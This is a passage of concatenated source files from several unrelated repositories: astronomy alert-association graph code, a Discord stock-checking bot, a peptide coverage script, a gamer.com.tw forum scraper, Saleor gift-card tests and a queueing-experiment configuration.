past_embedding = self.flow_in(K.concatenate(past_arg), training=training)
futur_embedding = self.flow_out(K.concatenate(futur_arg), training=training)
return past_embedding, futur_embedding
def update(self, embeddings, training=None):
past_embedding, futur_embedding = embeddings
# Node update
return self.node_mlp(K.concatenate([past_embedding, futur_embedding]), training=training)
|
FusRoman/Alert-Association | src/graph/motgraphdataset.py | # -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 16:13:47 2021
@author: Roman
"""
from spektral.transforms import AdjToSpTensor
from spektral.data import Dataset
from spektral.transforms.normalize_one import NormalizeOne
import numpy as np
import pandas as pd
from scipy.sparse import coo_matrix
from astropy.coordinates import SkyCoord
import astropy.units as u
from src.graph.motgraph import MOTGraph
import time as t
import platform
def sliding_window(base_value, window_size = 4, overlap = 2, copy = False):
"""
build an array containing multiple view of base_value in order to create a sliding window with overlap
Parameters
----------
base_value : numpy array
values used to make the window.
window_size : int, optional
size of the window. The default is 4.
overlap : int, optional
number of value in the overlaping gap. The default is 2.
copy : bool, optional
DESCRIPTION. The default is False.
Returns
-------
numpy array
multiple view that compose the window.
"""
sh = (base_value.size - window_size + 1, window_size)
st = base_value.strides * 2
view = np.lib.stride_tricks.as_strided(base_value, strides = st, shape = sh)[0::overlap]
if copy:
return view.copy()
else:
return view
def loadSSOdata(month, _class, point_limit):
"""
load solar system alerts from local file
Parameters
----------
month : string
a string number used to specify which file will be loaded.
_class : string
specify which class object wil be loaded, values can only be 'Solar System MPC' or 'Solar System Candidate'.
point_limit : int
a value to limit the number of alerts loaded by taken only the object seen more than point_limit times, work only when _class is 'Solar System MPC'.
Returns
-------
dataframe
all alerts seen in the month, belonging to _class and seen more than point_limit times
"""
if platform.system() == 'Linux':
path = "../../data/month=" + month
elif platform.system() == 'Windows':
path = "..\..\data\month=" + month
else:
raise ValueError
df_sso = pd.read_pickle(path)
df_class = df_sso[df_sso['fink_class'] == _class]
if _class == 'Solar System MPC':
mpc_trajectory = df_class.groupby(['ssnamenr']).count()
mpc_index = mpc_trajectory[mpc_trajectory['ra'] >= point_limit].index
feature = ['ra', 'dec', 'jd', 'nid', 'dcmag', 'fid', 'ssnamenr', 'candid']
return df_class[df_class['ssnamenr'].isin(mpc_index)][feature]
else:
feature = ['ra', 'dec', 'jd', 'nid', 'dcmag', 'fid', 'candid']
return df_class[feature]
class EdgeNormalizeOne:
r"""
Normalizes the edge attributes by dividing each row by its sum, so that it
sums to 1:
$$
\X_i \leftarrow \frac{\X_i}{\sum_{j=1}^{N} \X_{ij}}
$$
"""
def __call__(self, graph):
e_sum = np.sum(graph.e, -1)
e_sum[e_sum == 0] = 1
graph.e = graph.e / e_sum[..., None]
return graph
class MOTGraphDataset(Dataset):
def __init__(self, date, load_candidates, lightcurves_point_limit, window_params = None, **kwargs):
"""
Build graph dataset from local solar system alert dataset
Parameters
----------
date : string
a string number used to specify which file will be loaded.
load_candidates : string
specify which class object wil be loaded, values can only be 'Solar System MPC' or 'Solar System Candidate'.
lightcurves_point_limit : int
a value to limit the number of alerts loaded by taken only the object seen more than point_limit times, work only when _class is 'Solar System MPC'.
window_params : int tuple, optional
parameter of the window, first is size, second is overlap. The default is None.
Returns
-------
None.
"""
self.date = date
self.lcpl = lightcurves_point_limit
self.load_candidates = load_candidates
self.window_params = window_params
super().__init__(**kwargs)
def read(self):
"""
method call by the class internally, perform file reading and graph building in order to create graph dataset
Returns
-------
output : graph list
all the graph build from the overlaping window.
"""
print("reading data...")
output = []
df_sso = loadSSOdata(self.date, self.load_candidates, self.lcpl)
print("number of sso_alert remaining after limitation by number of point in lightcurves: {}"\
.format(len(df_sso)))
nid = np.unique(df_sso['nid'])
window = 10
overlap = 5
if self.window_params is not None:
window, overlap = self.window_params
frames_window = sliding_window(nid, window, overlap)
print("construct graph by overlapping window on night id")
print("number of graph: {}".format(len(frames_window)))
nb_graph = 1
for frames in frames_window:
df_frames = df_sso[df_sso['nid'].isin(frames)]
df_frames = df_frames.assign(candid_idx=pd.Series(np.arange(len(df_frames))).values)
df_frames = df_frames.assign(label=pd.Series(np.zeros(len(df_frames))).values)
tmp_df = pd.merge(df_frames, df_frames, on='label')
graph_prune = tmp_df[(tmp_df['candid_x'] != tmp_df['candid_y'])\
& (tmp_df['nid_x'] != tmp_df['nid_y'])\
& (((tmp_df['dcmag_x'] - tmp_df['dcmag_y']) / (tmp_df['jd_x'] - tmp_df['jd_y'])) <= 1.0)
]
del tmp_df
ra_x, dec_x = np.array(graph_prune['ra_x']), np.array(graph_prune['dec_x'])
ra_y, dec_y = np.array(graph_prune['ra_y']), np.array(graph_prune['dec_y'])
c1 = SkyCoord(ra_x, dec_x, unit = u.degree)
c2 = SkyCoord(ra_y, dec_y, unit = u.degree)
alerts_sep = c1.separation(c2)
graph_prune['alert_sep'] = alerts_sep
graph_prune = graph_prune[graph_prune['alert_sep'] <= 0.8]
print("constructing graph nb {} with {} nodes and {} edges"\
.format(nb_graph, len(df_frames), len(graph_prune)))
# take edges where extremity nodes are the same mpc object
same_mpc = graph_prune[graph_prune['ssnamenr_x'] == graph_prune['ssnamenr_y']]
# take edges where the left node have been created before the right node
forward_same_mpc = same_mpc[same_mpc['nid_x'] < same_mpc['nid_y']]
# take only one edge if multiple exists
idx_label = forward_same_mpc.groupby(['ssnamenr_x', 'nid_x'])['nid_y'].idxmin()
# create the training label
graph_prune.loc[same_mpc.loc[idx_label].index, 'label'] = 1
edge_label = graph_prune['label'].to_numpy().astype(np.int32)
row = list(graph_prune['candid_idx_x'])
col = list(graph_prune['candid_idx_y'])
data = np.ones(len(col))
sparse_adj_mat = coo_matrix((data, (row, col)), shape=(len(df_frames), len(df_frames))).tocsr()
node_feature = df_frames[['ra', 'dec', 'jd', 'dcmag', 'nid', 'fid']].to_numpy()
edge_feature = np.c_[np.array(np.abs(graph_prune['dcmag_x'] - graph_prune['dcmag_y'])),
np.array(graph_prune['jd_x'] - graph_prune['jd_y']),
np.array(graph_prune['alert_sep']),
np.array(graph_prune['nid_x'] - graph_prune['nid_y'])]
past_index = np.where(edge_feature[:, -1] > 0)[0]
past_index = past_index.reshape((len(past_index), 1))
futur_index = np.where(edge_feature[:, -1] < 0)[0]
futur_index = futur_index.reshape((len(futur_index), 1))
if self.load_candidates == 'Solar System MPC':
graph_prune = graph_prune[['candid_x', 'nid_x', 'ssnamenr_x',
'candid_y', 'nid_y', 'ssnamenr_y', 'label']]
else:
graph_prune = graph_prune[['candid_x', 'nid_x', 'candid_y', 'nid_y']]
g = MOTGraph(node_feature, sparse_adj_mat, edge_feature, edge_label.reshape((len(edge_label), 1)),
graph_prune, past_index, futur_index)
output.append(g)
nb_graph += 1
print()
print("end reading")
return output
if __name__ == "__main__":
print("test")
t_before = t.time()
tr_dataset = MOTGraphDataset("03", 'Solar System MPC', 15, window_params=(5, 2),
transforms=[EdgeNormalizeOne(), NormalizeOne(), AdjToSpTensor()])
print("tr_dataset construct time: ", t.time() - t_before)
for g in tr_dataset:
print(g.y.sum())
|
FusRoman/Alert-Association | src/graph/motgraph.py | <reponame>FusRoman/Alert-Association
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 15:51:21 2021
@author: Roman
"""
from spektral.data.graph import Graph
class MOTGraph(Graph):
def __init__(self, x, a, e, y, edge_info, past_index, futur_index, **kwargs):
"""
Build a graph based on Spektral package. Simply extend graph definition of Spektral to add past_index and futur_index to keep temporal information.
Keep information about alerts used to build the graph in order to create trajectories
Parameters
----------
x : numpy array
node feature of graph
a : scipy sparse matrix
sparse adjacency matrix of graph
e : numpy array
edge feature of graph
y : numpy array
label used to train graph neural network
edge_info : dataframe
dataframe containing information (candid, nid, ssnamenr, label) about alerts that have been used to build the graph
past_index : numpy array
index of all edges from the past of all node
futur_index : numpy array
index of all edges from the futur of all node
**kwargs : TYPE
DESCRIPTION.
Returns
-------
None.
"""
self.past_index = past_index
self.futur_index = futur_index
self.edge_info = edge_info
super().__init__(
x=x,
a=a,
e=e,
y=y,
**kwargs)
if __name__ == "__main__":
print("test")
|
FusRoman/Alert-Association | setup.py | # -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 17:20:14 2021
@author: Roman
"""
from distutils.core import setup
setup(name='SSOTrajectoriesPrediction',
version='0.1',
description='A python package that use deep learning to associate solar system candidates alert produce by Fink and create trajectory',
author='<NAME>',
author_email='<EMAIL>',
url='',
packages=['src', 'src.graph', 'src.model'],
) |
FusRoman/Alert-Association | src/model/trajectory.py | <gh_stars>0
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 4 16:51:27 2021
@author: Roman
"""
import pandas as pd
import numpy as np
import time as t
import src.graph.motgraphdataset as motdataset
from spektral.transforms import AdjToSpTensor
from spektral.transforms.normalize_one import NormalizeOne
def mean_edge_pred_window(all_graph):
frames = [g.edge_info for g in all_graph]
df_concat = pd.concat(frames).reset_index(drop=True)
df_gb_test = df_concat.groupby(['candid_x', 'candid_y']).agg({
'pred': 'mean'
})
df_gb_test = df_gb_test['pred']
mean_merge = pd.merge(df_concat, df_gb_test, left_on=['candid_x', 'candid_y'],
right_index=True, how='left')
mean_merge['pred_x'] = mean_merge['pred_x'].mask(
np.logical_not(pd.isna(mean_merge['pred_y'])), mean_merge['pred_y'])
return mean_merge.drop(columns=['pred_y']).rename(columns={'pred_x': 'pred'}).drop_duplicates()
def greedy_constraints(edge_mean_pred):
active_edge = edge_mean_pred[edge_mean_pred['pred'] >= 0.5]
forward = active_edge[active_edge['nid_x'] < active_edge['nid_y']]
backward = active_edge[active_edge['nid_x'] > active_edge['nid_y']]
swap_backward = backward.reindex(columns=["candid_y", "nid_y", "ssnamenr_y",
"candid_x", "nid_x", "ssnamenr_x",
"label", "pred"])
swap_backward = swap_backward.rename(columns={
"candid_x": "candid_y",
"nid_x": "nid_y",
"ssnamenr_x": "ssnamenr_y",
"candid_y": "candid_x",
"nid_y": "nid_x",
"ssnamenr_y": "ssnamenr_x"
})
forward = pd.concat([forward, swap_backward])
forward[forward['ssnamenr_x'] == forward['ssnamenr_y']]
gb_max = forward.groupby(['candid_x'])['pred'].idxmax()
forward_trajectories = forward.loc[gb_max]
break_constraint = forward_trajectories.groupby(['candid_y'])['pred'].idxmax()
backward_trajectories = forward_trajectories.loc[break_constraint]
return backward_trajectories
def set_track_id(hypotheses_edge, row, track_id, track_id_list):
index = row[0]
if track_id_list[index] == -1:
track_id_list[index] = track_id
next_hop = row[4]
next_row = list(hypotheses_edge[hypotheses_edge['candid_x'] == next_hop].itertuples())
if len(next_row) > 0:
return set_track_id(hypotheses_edge, next_row[0], track_id, track_id_list)
else:
return track_id_list
else:
return track_id_list
def build_trajectories(active_edge):
track_id_list = np.zeros(len(active_edge)) + (-1)
track_id = 0
for row in active_edge.itertuples():
track_id_list = set_track_id(active_edge, row, track_id, track_id_list)
track_id += 1
return track_id_list
def trajectory_metrics(trajectories):
all_track_id = np.unique(trajectories['track_id'])
traj_sum = 0
change_mpc = 0
for track_id in all_track_id:
test_traj = trajectories[trajectories["track_id"] == track_id]
change_mpc += (1 / len(np.union1d(test_traj['ssnamenr_x'], test_traj['ssnamenr_y']))) * 100
traj_sum += (test_traj['label'].sum() / len(test_traj) * 100)
return {"accuracy" : traj_sum / len(all_track_id),
"consistency" : change_mpc / len(all_track_id)}
if __name__ == "__main__":
print("test")
t_before = t.time()
# AdjToSpTensor()
tr_dataset = motdataset.MOTGraphDataset("03", 'Solar System MPC', 15, window_params=(5, 2),
transforms=[motdataset.EdgeNormalizeOne(), NormalizeOne(), AdjToSpTensor()])
print("dataset construct time: ", t.time() - t_before)
for g in tr_dataset:
edge_info = g.edge_info
edge_info['pred'] = np.random.random_sample((len(g.y),))
t_before = t.time()
edge_mean_pred = mean_edge_pred_window(tr_dataset)
print(t.time() - t_before)
t_before = t.time()
df_edge = greedy_constraints(edge_mean_pred)
df_edge = df_edge.reset_index(drop=True)
print(t.time() - t_before)
trajectories = build_trajectories(df_edge)
df_edge['track_id'] = trajectories
metrics_res = trajectory_metrics(df_edge)
print(metrics_res) |
Tank1334/Webscraper1.0 | check.py | import requests
from time import sleep
from bs4 import BeautifulSoup as bs
def check(URL):
page = requests.get(URL)
soup = bs(page.content, "html.parser")
results = soup.find(id="pnlInventory")
stock = results.find_all("span", class_="inventoryCnt")
check = ""
for job_elem in stock:
check = job_elem.text.strip()
return check
def tof():
if (
check(
"https://www.microcenter.com/product/626147/gigabyte-b460m-aorus-pro-intel-lga-1200-microatx-motherboard?storeid=085" #just a random link for an example
)
!= "Sold Out"
):
return "In stock."
else:
return "not in stock"
|
Tank1334/Webscraper1.0 | bot.py | <gh_stars>0
from check import tof
import discord
from discord.ext import tasks
from discord.ext.commands import Bot
from time import sleep
client = Bot(command_prefix = '!') #set the prefix of the bot to !
@tasks.loop(hours=1.0)
async def timed_check():
channel = client.get_channel(790412745911828490)
#await channel.send(tof())
if tof() == "In stock.":
await channel.send("@everyone")
await channel.send(tof())
@client.event
async def on_ready():
print('bot is up ayyyyyyyyyyyyyyyyyyyy')
timed_check.start()
@client.command()
async def check(ctx):
if ctx.message.author == client.user:
return
await ctx.send(tof())
client.run('DISCORDID')
#ping either @everyone or <@437622065932140546>
#
#make it send every like 3600 seconds
#
|
MAB-Lab/Protein_coverage_MS | peptide_coverage.py | <gh_stars>0
##########################
# written by <NAME> and <NAME>
# under the supervision of <NAME> and <NAME>. The code is used in the OpenProt pipeline, see: Brunet MA et al, 2021
##########################
import os
import sys
import re
import argparse
import itertools as itt
import numpy as np
from multiprocessing import Pool
parser = argparse.ArgumentParser(description='Compute theoretical peptides and detected coverage.')
parser.add_argument('file_path', type=str, help='Path to text file containing the list of protein sequences.')
parser.add_argument('proteome_tsv', type=str, help='Path to text file containing the full proteome for unicity checking.')
parser.add_argument('out_dir', type=str, help='Directory for output of tsv.')
parser.add_argument('--n_cpu', type=int, help='Number of cpu for paralell processing.', default=4)
parser.add_argument('--progress_iter_size', type=int, help='Number of lines to report progress at.', default=10000)
args = parser.parse_args()
aa_weights = {
'X': 110, 'A': 89, 'R': 174, 'N': 132, 'D': 133, 'C': 121, 'E': 147, 'Q': 146,
'G': 75, 'H': 155, 'I': 131, 'L':131,'K': 146, 'M': 149, 'O' : 255, 'F': 165, 'P': 115,
'S': 105, 'T': 119, 'W': 204, 'Y': 181, 'U':168, 'V': 117, '1': 131,
}
columns = ['prot_seq_id', 'gene_symbol', 'tt_type', 'prot_seq', 'pep_seq_ls']
def load_tsv(file_path):
''' IN: tab delimited text file with columns as defined here
OUT: list of dicts with columns as keys and text as values
'''
prot_dicts = []
with open(file_path, 'r') as f:
for l in f:
ls = l.strip().split('\t')
line = dict(zip(columns, ls))
if any(x not in aa_weights for x in line['prot_seq']): continue # skip proteins with unkown aa in the sequence i.e. "*"
if 'pep_seq_ls' not in line: # no peptides detected, append empty list
line['pep_seq_ls'] = []
else:
line['pep_seq_ls'] = line['pep_seq_ls'].split(',')
prot_dicts.append(line)
return prot_dicts
def trypsin_digest(protseq, debug=False):
### mc -> miss cleavage
raw_peps = []
raw_peps_0mc = re.sub("K(?!P)", "K,", protseq)
raw_peps_0mc = re.sub("R(?!P)", "R,", raw_peps_0mc)
raw_peps_0mc = raw_peps_0mc.split(",")
raw_peps_1mc = [raw_peps_0mc[n] + raw_peps_0mc[n+1] for n in range(len(raw_peps_0mc) - 1)]
raw_peps_2mc = [raw_peps_1mc[n] + raw_peps_0mc[n+2] for n in range(len(raw_peps_1mc) - 1)]
raw_peps.extend(raw_peps_0mc)
raw_peps.extend(raw_peps_1mc)
raw_peps.extend(raw_peps_2mc)
#if debug: log('{} >> {} >> {}'.format(raw_peps_0mc, raw_peps_1mc, raw_peps_2mc))
return raw_peps
def pep_size_filter(raw_peps):
pred_peps = [raw_pep for raw_pep in raw_peps if len(raw_pep) >= 7 and sum(aa_weights[aa] for aa in raw_pep) < 4600]
return pred_peps
def unify_isobaric_aas(aa_seq):
common_char = '1'
return aa_seq.replace('I', common_char).replace('L', common_char)
def check_pep_unicity(pep, prot_dict):
if prot_dict['tt_type'] == 'reference': # peptide unicity rules for refs (only compared to refs of other genes..)
check_seqs = [p['prot_seq'] for p in full_proteome if p['gene_symbol'] != prot_dict['gene_symbol'] and p['tt_type']=='reference']
else: # peptide unicity rules for alts (and iso) *** verify
check_seqs = [p['prot_seq'] for p in full_proteome if p['tt_type'] == 'reference']
check_seqs += [p['prot_seq'] for p in full_proteome if p['gene_symbol'] != prot_dict['gene_symbol'] and any(x in p['tt_type'] for x in ['cryptic', 'isoform']) ]
pep = unify_isobaric_aas(pep)
for protseq in list(set(check_seqs)):
if pep in unify_isobaric_aas(protseq): return False
return True
def map_peptides(protseq, peps):
peps_locs = []
for pep in peps:
if pep not in protseq: continue
loc_st = protseq.find(pep)
loc_end = loc_st + len(pep)
pep_loc = protseq[loc_st:loc_end]
peps_locs.append((pep_loc, loc_st, loc_end))
return peps_locs
def compute_pep_coverage(protseq, peps_locs):
protvec = [0] * len(protseq)
for pepseq_start_end in peps_locs:
pepseq, start, end = pepseq_start_end
protvec[start:end] = [1] * len(pepseq)
coverage = (sum(protvec) / len(protseq))*100
return coverage
def get_theo_peps(prot_dict):
tryp_peps = pep_size_filter(trypsin_digest(prot_dict['prot_seq']))
unique_tryp_peps = [pep for pep in tryp_peps if check_pep_unicity(pep, prot_dict)]
return unique_tryp_peps
def compute_theo_coverage(prot_dict):
unique_tryp_peps = get_theo_peps(prot_dict)
peps_locs = map_peptides(prot_dict['prot_seq'], unique_tryp_peps)
coverage = compute_pep_coverage(prot_dict['prot_seq'], peps_locs)
return coverage
def compute_detect_coverage(prot_dict):
peps_locs = map_peptides(prot_dict['prot_seq'], prot_dict['pep_seq_ls'])
coverage = compute_pep_coverage(prot_dict['prot_seq'], peps_locs)
return coverage
def compute_all_coverages(prot_dict):
prot_dict['theo_coverage'] = compute_theo_coverage(prot_dict)
prot_dict['detect_coverage'] = compute_detect_coverage(prot_dict)
return prot_dict
def dict_list_to_tsv(dict_ls, file_path):
write_cols = columns + ['theo_coverage', 'detect_coverage']
with open(file_path, 'w') as f:
for line in dict_ls:
line['pep_seq_ls'] = ','.join(line['pep_seq_ls'])
l = '\t'.join([str(line[c]) for c in write_cols]) + '\n'
f.write(l)
if __name__ == '__main__':
args = vars(args)
prot_dicts = load_tsv(args['file_path'])
print('Processing {} proteins.'.format(len(prot_dicts)))
full_proteome = load_tsv(args['proteome_tsv'])
pool = Pool(processes=args['n_cpu'])
progress = 0
results = []
for i, r in enumerate(pool.imap_unordered(compute_all_coverages, prot_dicts)):
if progress == args['progress_iter_size']:
progress = 0
print('completion: {}% ({} prots)'.format((i/len(prot_dicts))*100, i))
progress += 1
results.append(r)
pool.close()
pool.join()
output_file = args['out_dir'] + '/' + os.path.basename(args['file_path']) +'.out.tsv'
dict_list_to_tsv(results, output_file)
print('Done. Outputed to {}'.format(output_file)) |
pcchou/python-bpl | bahaplib.py | <reponame>pcchou/python-bpl
#!/usr/bin/env python3
""" A 巴哈姆特(https://forum.gamer.com.tw/) post library for python.
For more documentation, see README.md . """
import requests
import urllib.parse as urlparse
from bs4 import BeautifulSoup
import re
REQHEADERS = {"User-Agent": ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36")}
REQCOOKIES = {}
def from_url(inurl):
""" Initiates a bpl object (BahaPost or Floor) with an URL """
parsed = urlparse.urlparse(inurl)
params = dict(urlparse.parse_qsl(parsed.query))
if (parsed.scheme == "http" and
parsed.netloc == "forum.gamer.com.tw" and
parsed.path == "/C.php" and
all(x in params for x in ["bsn", "snA"])):
return BahaPost(params["bsn"], params["snA"])
elif (parsed.scheme == "http" and
parsed.netloc == "forum.gamer.com.tw" and
parsed.path == "/Co.php" and
all(x in params for x in ["bsn", "sn"])):
return Floor(params["bsn"], params["sn"])
else:
raise ValueError("Input is not a vaild bahaurl.")
def set_cookies(bahaid, baharune):
""" Set baha cookies into global const. """
global REQCOOKIES
if len(baharune) == 84:
REQCOOKIES = {"BAHAID": bahaid, "BAHARUNE": baharune}
else:
raise ValueError('Input is not a vaild baharune.')
return None
class BahaPost:
""" An object class used to describe a baha post. """
def __init__(self, bsn, sna):
""" Initiates a BahaPost object """
self.bsn = bsn
self.sna = sna
self.url = ("http://forum.gamer.com.tw/C.php?" +
"bsn=" + str(self.bsn) + "&" + "snA=" + str(self.sna))
@property
def floors_snb(self):
""" snb list of the BahaPost """
ret = []
soup = BeautifulSoup(
requests.get("http://forum.gamer.com.tw/C.php",
params={"bsn": self.bsn, "snA": self.sna},
headers=REQHEADERS,
cookies=REQCOOKIES).text
)
for gpword in soup("a", {"class": "GPword"}):
ret.append(
re.search(r'upgp_(\d+)', gpword.attrs["id"]).group(1))
return ret
@property
def floors(self):
""" Floor object list of the BahaPost """
ret = []
for snb in self.floors_snb:
ret.append(
Floor(self.bsn, snb))
return ret
@property
def content(self):
""" The content of the main floor
An alias for html
"""
return self.floors[0].html
@property
def html(self):
""" The content of the main floor in HTML """
return self.floors[0].get_content(baha_code=False, prettify=True)
@property
def baha_code(self):
""" The content of the main floor in baha_code, from /post1.php
Requies vaild BAHARUNE and BAHAID cookies."""
return self.floors[0].get_content(baha_code=True, prettify=False)
@property
def comments(self):
""" The comment of the main floor """
return self.floors[0].comments
class Floor:
""" An object class used to describe floors of baha posts """
def __init__(self, bsn, snb):
""" Initiates a floor object """
self.bsn = str(bsn)
self.snb = str(snb)
soup = BeautifulSoup(requests.get("http://forum.gamer.com.tw/Co.php",
params={"bsn": bsn, "sn": snb},
headers=REQHEADERS,
cookies=REQCOOKIES).text)
for p_item in soup(id="BH-master")[0]("p", {"class": "FM-lbox1"}):
parsed = urlparse.urlparse(p_item.a.attrs["href"])
params_ = dict(urlparse.parse_qsl(parsed.query))
if parsed.path == 'switch.php' and "bsn" in params_:
self.sna = params_["snA"]
break
@property
def content(self):
""" The floor's content in html
An alias for html """
return self.html
@property
def html(self):
""" The floor's content in baha_code, from /Co.php """
return self.get_content(baha_code=False, prettify=True)
@property
def baha_code(self):
""" The floor's content in baha_code, from /post1.php
Requies vaild BAHARUNE and BAHAID cookies. """
return self.get_content(baha_code=True, prettify=False)
def get_content(self, baha_code=False, prettify=True):
""" Retrieve content of a floor
@param bool baha_code Outputs baha_code from /post1.php when this is set to True,
If not, Output HTML from /Co.php .
@param bool prettify Outputs prettified HTML by BeautifulSoup if is set.
"""
if baha_code and not prettify:
try:
response = requests.get("http://forum.gamer.com.tw/post1.php",
params={"bsn": self.bsn,
"snA": self.sna,
"sn": self.snb,
"type": "2", "re": "1"},
headers=REQHEADERS,
cookies=REQCOOKIES)
response.encoding = 'utf8'
soup = BeautifulSoup(response.text)
return re.search(r"^,bahacode:true,content:'([^']*?)'",
str(soup(id="form1")[0].find_all("script")),
flags=re.MULTILINE).group(1)
except IndexError:
raise Exception('Not authencated.'
' Set cookies by bpl.set_cookies(BAHAID, BAHARUNE) .')
elif baha_code and prettify:
raise ValueError('baha_code and prettify can\'t be true at the same time')
else:
try:
response = requests.get("http://forum.gamer.com.tw/Co.php",
params={"bsn": self.bsn, "sn": self.snb},
headers=REQHEADERS,
cookies=REQCOOKIES)
response.encoding = 'utf8'
soup = BeautifulSoup(response.text)
text = soup(id=("cf" + self.snb))[0]
return text.prettify() if prettify else text.text
except IndexError:
raise Exception('Not found. '
'The floor is probably deleted or requires authentication. '
'Try retrieving baha_code instead.')
@property
def comments(self):
""" The comments of each floors """
response = requests.get("http://forum.gamer.com.tw/ajax/moreCommend.php",
params={"bsn": self.bsn, "snB": self.snb},
headers=REQHEADERS,
cookies=REQCOOKIES)
response.encoding = 'utf8'
restext = re.sub(r'<!\[CDATA\[(.+?)\]\]', r'\1', response.text)
soup = BeautifulSoup(restext)
ret = []
for msg in soup("msg")[::-1]:
msg_ret = []
for msg_item in msg(True):
msg_ret.append({msg_item.name: msg_item.text})
ret.append(msg_ret)
return ret
|
crawfordleeds/saleor | saleor/giftcard/tests/test_tasks.py | import datetime
import pytest
from .. import GiftCardEvents
from ..models import GiftCard
from ..tasks import deactivate_expired_cards_task
def test_deactivate_expired_cards_task(
gift_card, gift_card_used, gift_card_expiry_date, gift_card_created_by_staff
):
# given
gift_card.expiry_date = datetime.date.today() - datetime.timedelta(days=1)
gift_card_used.expiry_date = datetime.date.today() - datetime.timedelta(days=10)
gift_card_created_by_staff.expiry_date = datetime.date.today() - datetime.timedelta(
days=10
)
gift_card_created_by_staff.is_active = False
gift_cards = [gift_card, gift_card_used]
GiftCard.objects.bulk_update(
gift_cards + [gift_card_created_by_staff], ["expiry_date", "is_active"]
)
for card in gift_cards:
assert card.is_active
# when
deactivate_expired_cards_task()
# then
for card in gift_cards:
card.refresh_from_db()
assert not card.is_active
assert card.events.filter(type=GiftCardEvents.DEACTIVATED)
assert not gift_card_created_by_staff.events.filter(type=GiftCardEvents.DEACTIVATED)
gift_card_expiry_date.refresh_from_db()
assert gift_card_expiry_date.is_active
@pytest.mark.parametrize(
"expiry_date",
[
datetime.date.today(),
datetime.date.today() + datetime.timedelta(days=1),
],
)
def test_deactivate_expired_cards_task_cards_not_deactivated(
expiry_date, gift_card, gift_card_used, gift_card_expiry_date
):
# given
gift_card.expiry_date = expiry_date
gift_card_used.expiry_date = expiry_date
gift_cards = [gift_card, gift_card_used]
GiftCard.objects.bulk_update(gift_cards, ["expiry_date"])
for card in gift_cards:
assert card.is_active
# when
deactivate_expired_cards_task()
# then
for card in gift_cards:
card.refresh_from_db()
assert card.is_active
gift_card_expiry_date.refresh_from_db()
assert gift_card_expiry_date.is_active
|
jeffreyyang3/Lines_Queueing | config.1.py | import random
import math
data = [[
{ # Type 1: double, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "double",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 2: swap, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 3: bid, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 4: swap, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 5: bid, communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "bid",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": True,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},{ # Type 1: double, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "double",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
"discrete": True,
"messaging": False,
},
"players": [
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
{"pay_rate": 4, "endowment": 4, "c": random.random()},
],
},
{ # Type 2: swap, no communication, 8 players
#
"settings": {
"duration": 100,
"swap_method": "swap",
"pay_method": "gain",
"k": 0.8,
"service_distribution": 1,
